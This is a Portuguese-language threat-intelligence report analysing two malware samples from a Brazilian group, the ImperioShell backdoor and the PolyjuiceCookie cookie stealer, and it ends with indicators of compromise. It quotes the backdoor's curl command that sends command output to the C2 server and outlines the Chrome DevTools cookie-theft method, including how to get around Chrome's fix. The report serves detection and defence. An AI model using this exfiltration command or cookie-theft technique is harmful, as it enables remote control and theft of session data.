

Especialistas da Resonant em parceria com o time de resposta a incidentes da Tempest identificaram duas ameaças ligadas a um grupo cibercriminoso de origem brasileira o qual tem, por meio do aliciamento de funcionários, instalado sistemas de gerenciamento e monitoramento remoto (Remote Monitoring and Management System – RMM) no acesso inicial, posteriormente usando um mix de ferramentas open source e proprietárias para ampliar seu acesso ao ambiente de empresas brasileiras de modo a, posteriormente, conduzir transações financeiras fraudulentas.
Tal adversário, que, de acordo com com nossos critérios de nomenclatura e rastreamento, foi catalogado como TTID-IS47 (Tempest Threat ID – Intrusion Set 47) já teve sobreposições em seus TTPs catalogadas por outras empresas sob a identificação “Plump Spider”.
Este estudo se concentra exclusivamente em dois artefatos criados pelo TTID-IS47: um backdoor na forma de um script python compilado com o PyInstaller e um ladrão de cookies. Componentes da ameaça foram nomeados pelo adversário com expressões possivelmente ligadas ao universo de Harry Potter, por isso o catalogamos o backdoor como ImperioShell e o ladrão de cookies como PolyjuiceCookie.
Nossa equipe identificou o código do ImperioShell em um repositório no Github que possuía vínculo com indicadores de um incidente sendo tratado pelo time de resposta a incidentes da Tempest.
Trata-se de um código em Python com a funcionalidade de obter comandos em shell de um servidor de comando e controle (C2) e executá-los no computador infectado, posteriormente retornando o resultado da execução ao C2.

O script Python foi compilado usando o PyInstaller para que, desta maneira, todos os componentes do Python sejam embutidos em um único arquivo, juntamente com o script malicioso, resultando em um binário executável, evitando assim a necessidade de se instalar o interpretador do Python e os seus módulos na máquina infectada.
Ao ser executado, o ImperioShell inicia um processo que se repete continuamente a cada cinco segundos no qual o nome do host da vítima é obtido e incorporado a uma requisição HTTP enviada ao servidor C2 dos atacantes. A estrutura da URL utilizada na requisição é representada a seguir:
elmsbmlsvs[.]brazilsouth[.]cloudapp[.]azure[.]com/?m=computer_name
A requisição HTTP possui o objetivo identificar a máquina infectada sinalizando que ela está disponível para receber comandos.
Quando recebe um comando, o ImperioShell cria um subprocesso para executá-lo. Seu resultado é armazenado na máquina da vítima como /tmp/output_{nome_computador}.txt. Caso ocorra um erro na execução do comando, seu detalhamento será armazenado no arquivo /tmp/erro_{nome_computador}.txt.
Assim que a execução do comando é concluída, o ImperioShell envia o arquivo com o resultado para o C2 por meio de uma requisição do tipo POST utilizando a ferramenta curl conforme abaixo:
curl -m 90 -X POST
-H “Content-Type: multipart/form-data”
-H “User-Agent: Mozilla/5.0 (Linux) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/113.0.0.0 Safari/537.3”
-F “arquivo=@/tmp/output_{nome_computador}.txt”,
{IP_SERVIDOR}?m={nome_computador}
Foi observada uma diferença entre o script Python do ImperioShell disponível no GitHub e outras variantes coletadas em uma investigação pelo time da Resonant. O script publicamente disponível contém um endereço de servidor de comando e controle fixo no código, no entanto, as outras variantes do ImperioShell foram aprimoradas com um algoritmo DGA (Domain Generation Algorithm), o qual, como o nome da categoria diz, gera o endereço de conexão com o servidor C2 dinamicamente. Neste caso, o algoritmo DGA do ImperioShell utiliza a data como base, produzindo um novo endereço de servidor C2 a cada dia. Todos os endereços apontam para a nuvem da Microsoft.

Abaixo alguns domínios gerados pelo DGA da ameaça no final de julho.
27/07/2025 – elmsbmlsvs[.]brazilsouth[.]cloudapp[.]azure[.]com
28/07/2025 – llambmlsvs[.]brazilsouth[.]cloudapp[.]azure[.]com
29/07/2025 – plssbmlsvs[.]brazilsouth[.]cloudapp[.]azure.com
30/07/2025 – msvmbmlsvs[.]brazilsouth[.]cloudapp[.]azure[.]com
Considerando que pudemos compreender a lógica do DGA do ImperioShell, nos foi possível reproduzir o algoritmo de modo a não somente gerar todos os endereços de C2 a serem usados pelo TTID-IS47 nos próximos 12 meses como também os dos 12 meses anteriores à sua identificação. Essa base possibilita não só identificar ataques futuros com a ameaça, mas também pode ser útil para a execução de hunting retroativo com base nos registros de log.
Clientes do SOC da Tempest, do Intel Feeds ou àqueles que possuem integração com nosso feed de inteligência por meio do plano Signal da Resonant, tiveram acesso com prioridade a estes indicadores.
O PolyjuiceCookie foi observado na forma do binário “sale.exe”, desenvolvido em Delphi com o objetivo de capturar todos os cookies presentes no navegador e posteriormente enviá-los ao servidor C2.
A ameaça é preparada para se conectar ao endereço local “http://127.0.0.1:20000/json“, conexão que está relacionada ao sistema de depuração remota utilizado por navegadores baseados no Chromium. Ele pode ser ativado inserindo o parâmetro “–remote-debugging-port” durante a inicialização do navegador.
A funcionalidade abre um servidor HTTP local na porta especificada (neste caso, 20000) e expõe uma API JSON com informações sobre as abas/janelas abertas e sobre as capacidades de depuração.
Este servidor não tem autenticação e por segurança foi concebido para escutar somente no endereço 127.0.0.1 de modo a evitar o acesso remoto. No entanto, um malware que alcançou os privilégios suficientes para controlar o navegador pode usar essa funcionalidade para automatizar a coleta de dados expostos na atividade de depuração.
Quando a depuração está ativa, o PolyjuiceCookie faz uma requisição para tal endereço cujo retorno contém o conjunto de configurações do navegador e outros dados úteis a desenvolvedores que usam o recurso de forma legítima. Em meio a esse material, o PolyjuiceCookie coleta o endereço armazenado no atributo “webSocketDebuggerUrl“, que consiste no endereço de conexão direta para controlar o navegador via Chrome DevTools Protocol usando o protocolo WebSocket.
O time do Google que dá manutenção no Chrome anunciou em março que, a partir da versão 136 do navegador, o comportamento do parâmetro `–remote-debugging-port` foi alterado impedindo a depuração do diretório padrão do Chrome que armazena todas as configurações e dados de todos os perfis configurados, incluindo cookies, histórico de navegação e credenciais salvas. Dessa forma, a mudança inibe a coleta dos dados necessários para o funcionamento do PolyjuiceCookie no Chrome.
Um fator de risco ainda a ser considerado é que, mesmo com essa restrição, um adversário pode manipular atalhos do Chrome no sistema da vítima, inserindo esses parâmetros na configuração. Assim, na próxima execução do navegador, ele será iniciado em um perfil limpo. Isso forçará o usuário a realizar novamente o login nos sites utilizados, momento em que o adversário coletaria os cookies recém-criados.
Durante os testes, verificamos que a versão do Microsoft Edge utilizada em nossa análise (v138.0.3351.121), a qual é baseada no Chromium, ainda não possui essa política de segurança por padrão. Como resultado, a técnica de extração de cookies do PolyjuiceCookie permanece em funcionamento neste navegador. Outros navegadores baseados no Chromium não fizeram parte do escopo de nossa pesquisa.
Assim que obtém esse endereço, o PolyjuiceCookie faz uma nova requisição, por meio do comando “{“id”: 1, “method”: “Network.getAllCookies”}” que permite obter a lista completa de todos os cookies armazenados no navegador. Os cookies são, então, codificados em Base64 e enviado ao TTID-IS47 por meio de uma requisição HTTP ao endereço “hxxp://insszap[.]brazilsouth[.]cloudapp[.]azure[.]com/inf/0x001[.]php?gc”. Tal procedimento é executado continuamente pelo PolyjuiceCookie, não tendo sido observada qualquer outra capacidade maliciosa na ameaça.
C2:
74[.]163[.]97[.]150
4[.]201[.]218[.]109
74[.]163[.]64[.]115
191[.]232[.]185[.]248
PolyjuiceCookie
MD5: 279cdae392b56679f334752183319702
SHA1: f78e2bb59c982b43e05baf0e80e01cfa150b0b60
SHA256: 263a15cf46ff76804dbcf8b98b4b5d8993b502ceb3534bb18b816b03934ec0dc
ImperioShell:
MD5: 20fa38df0923f0da8dfc98d816c3bd30
SHA1: daa3aaff8abdfe1eb984add9ae9c1903fa65592a
SHA256: e97408e9f9201d1a1a942a6de321485e660f17b1d2e7b3f89bfb28a9fa0fb9af
MD5: 16c8effb26c2c94ba19aaf6760bbc628
SHA1: 39fc32f6de3f699db124db6f8440bd363adf3f6f
SHA256: b598c675b15c15093cee19e379518f420878e33b3c5bf083a153887312a6414a
MD5: b8b7f887c64219c53cbc980f3b53a688
SHA1: 464d745e35f19b13a3714cf34ca84aec65f6b44f
SHA256: 27d98e56deea5a8531a3c661f4b579c8deaaec7ec75e60683164c66e10156871
MD5: 30aa193130641f785aeadd87f8f368d2
SHA1: f40579aef558629ce7a9062c7add0a3d3dcb790c
SHA256: 651043efa218da235d405a7ae85175edcba03cff9b2a79f9f2092d4293d91795
MD5: a86bc983ab8d6dc6dca2193bf653174c
SHA1: 724c53fbd131a3ce8f828fdbd92cc445136e505e
SHA256: 1acd8e28aa963afb1e9d0c4a9af9c3b565f0745b12a7a2a62f2094f8852e991f